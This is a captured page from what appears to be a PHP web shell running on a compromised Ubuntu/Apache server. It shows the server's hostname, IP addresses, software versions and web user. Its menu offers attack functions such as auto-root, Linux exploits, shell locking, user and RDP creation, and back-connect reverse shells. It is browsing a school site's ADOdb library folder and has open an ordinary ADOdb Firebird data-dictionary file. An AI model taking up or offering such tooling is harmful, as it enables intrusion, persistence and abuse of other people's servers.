Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.110.145
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
student /
uet /
libs /
adodb5 /
datadict /
[ HOME SHELL ]
Name
Size
Permission
Action
datadict-access.inc.php
2.11
KB
-rwxr-xr-x
datadict-db2.inc.php
3.99
KB
-rwxr-xr-x
datadict-firebird.inc.php
3.78
KB
-rwxr-xr-x
datadict-generic.inc.php
2.58
KB
-rwxr-xr-x
datadict-ibase.inc.php
1.49
KB
-rwxr-xr-x
datadict-informix.inc.php
1.85
KB
-rwxr-xr-x
datadict-mssql.inc.php
7.32
KB
-rwxr-xr-x
datadict-mssqlnative.inc.php
9.78
KB
-rwxr-xr-x
datadict-mysql.inc.php
4.6
KB
-rwxr-xr-x
datadict-oci8.inc.php
7.51
KB
-rwxr-xr-x
datadict-postgres.inc.php
15.56
KB
-rwxr-xr-x
datadict-sapdb.inc.php
3.25
KB
-rwxr-xr-x
datadict-sqlite.inc.php
2.69
KB
-rwxr-xr-x
datadict-sybase.inc.php
5.74
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : datadict-firebird.inc.php
<?php /** @version v5.20.9 21-Dec-2016 @copyright (c) 2000-2013 John Lim (jlim#natsoft.com). All rights reserved. @copyright (c) 2014 Damien Regad, Mark Newnham and the ADOdb community Released under both BSD license and Lesser GPL library license. Whenever there is any discrepancy between the two licenses, the BSD license will take precedence. Set tabs to 4 for best viewing. */ class ADODB2_firebird extends ADODB_DataDict { var $databaseType = 'firebird'; var $seqField = false; var $seqPrefix = 'gen_'; var $blobSize = 40000; function ActualType($meta) { switch($meta) { case 'C': return 'VARCHAR'; case 'XL': return 'VARCHAR(32000)'; case 'X': return 'VARCHAR(4000)'; case 'C2': return 'VARCHAR'; // up to 32K case 'X2': return 'VARCHAR(4000)'; case 'B': return 'BLOB'; case 'D': return 'DATE'; case 'TS': case 'T': return 'TIMESTAMP'; case 'L': return 'SMALLINT'; case 'I': return 'INTEGER'; case 'I1': return 'SMALLINT'; case 'I2': return 'SMALLINT'; case 'I4': return 'INTEGER'; case 'I8': return 'INTEGER'; case 'F': return 'DOUBLE PRECISION'; case 'N': return 'DECIMAL'; default: return $meta; } } function NameQuote($name = NULL) { if (!is_string($name)) { return FALSE; } $name = trim($name); if ( !is_object($this->connection) ) { return $name; } $quote = $this->connection->nameQuote; // if name is of the form `name`, quote it if ( preg_match('/^`(.+)`$/', $name, $matches) ) { return $quote . $matches[1] . $quote; } // if name contains special characters, quote it if ( !preg_match('/^[' . $this->nameRegex . ']+$/', $name) ) { return $quote . $name . $quote; } return $quote . $name . $quote; } function CreateDatabase($dbname, $options=false) { $options = $this->_Options($options); $sql = array(); $sql[] = "DECLARE EXTERNAL FUNCTION LOWER CSTRING(80) RETURNS CSTRING(80) FREE_IT ENTRY_POINT 'IB_UDF_lower' MODULE_NAME 'ib_udf'"; return $sql; } function _DropAutoIncrement($t) { if (strpos($t,'.') !== false) { $tarr = explode('.',$t); return 'DROP GENERATOR '.$tarr[0].'."gen_'.$tarr[1].'"'; } return 'DROP GENERATOR "GEN_'.$t; } function _CreateSuffix($fname,&$ftype,$fnotnull,$fdefault,$fautoinc,$fconstraint,$funsigned) { $suffix = ''; if (strlen($fdefault)) $suffix .= " DEFAULT $fdefault"; if ($fnotnull) $suffix .= ' NOT NULL'; if ($fautoinc) $this->seqField = $fname; if ($fconstraint) $suffix .= ' '.$fconstraint; return $suffix; } /* CREATE or replace TRIGGER jaddress_insert before insert on jaddress for each row begin IF ( NEW."seqField" IS NULL OR NEW."seqField" = 0 ) THEN NEW."seqField" = GEN_ID("GEN_tabname", 1); end; */ function _Triggers($tabname,$tableoptions) { if (!$this->seqField) return array(); $tab1 = preg_replace( '/"/', '', $tabname ); if ($this->schema) { $t = strpos($tab1,'.'); if ($t !== false) $tab = substr($tab1,$t+1); else $tab = $tab1; $seqField = $this->seqField; $seqname = $this->schema.'.'.$this->seqPrefix.$tab; $trigname = $this->schema.'.trig_'.$this->seqPrefix.$tab; } else { $seqField = $this->seqField; $seqname = $this->seqPrefix.$tab1; $trigname = 'trig_'.$seqname; } if (isset($tableoptions['REPLACE'])) { $sql[] = "DROP GENERATOR \"$seqname\""; $sql[] = "CREATE GENERATOR \"$seqname\""; $sql[] = "ALTER TRIGGER \"$trigname\" BEFORE INSERT OR UPDATE AS BEGIN IF ( NEW.$seqField IS NULL OR NEW.$seqField = 0 ) THEN NEW.$seqField = GEN_ID(\"$seqname\", 1); END"; } else { $sql[] = "CREATE GENERATOR \"$seqname\""; $sql[] = "CREATE TRIGGER \"$trigname\" FOR $tabname BEFORE INSERT OR UPDATE AS BEGIN IF ( NEW.$seqField IS NULL OR NEW.$seqField = 0 ) THEN NEW.$seqField = GEN_ID(\"$seqname\", 1); END"; } $this->seqField = false; return $sql; } }
Close